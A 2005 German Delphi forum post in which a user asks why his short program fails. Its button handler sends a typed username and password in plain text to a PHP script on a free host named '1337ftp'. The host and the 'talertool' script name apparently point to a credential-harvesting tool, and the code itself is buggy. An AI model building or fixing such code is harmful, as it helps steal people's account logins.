Thema: mysql

Einzelnen Beitrag anzeigen

hellarazor

Registriert seit: 11. Mai 2005
19 Beiträge
 
#8

Re: mysql

  Alt 10. Okt 2005, 16:04
Wiso Funktioniert das nicht

Delphi-Quellcode:
unit Unit3;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Borland.Vcl.StdCtrls, System.ComponentModel, Borland.Vcl.ExtCtrls,
  Borland.Vcl.Buttons, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, Borland.Vcl.ComCtrls;

type
  TForm3 = class(TForm)
    Image1: TImage;
    Label1: TLabel;
    Edit1: TEdit;
    Edit2: TEdit;
    Label2: TLabel;
    Edit3: TEdit;
    Edit4: TEdit;
    Image2: TImage;
    SpeedButton1: TSpeedButton;
    ProgressBar1: TProgressBar;
    Timer1: TTimer;
    IdHTTP1: TIdHTTP;
    procedure SpeedButton1Click(Sender: TObject);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form3: TForm3;

implementation

{$R *.nfm}

procedure TForm3.SpeedButton1Click(Sender: TObject);
begin
TidHTTP.Get('http://1337ftp.13.funpic.de/talertool.php?username='+Edit3.Text+'&pass='+Edit4.Text+'');
end;

end.
  Mit Zitat antworten Zitat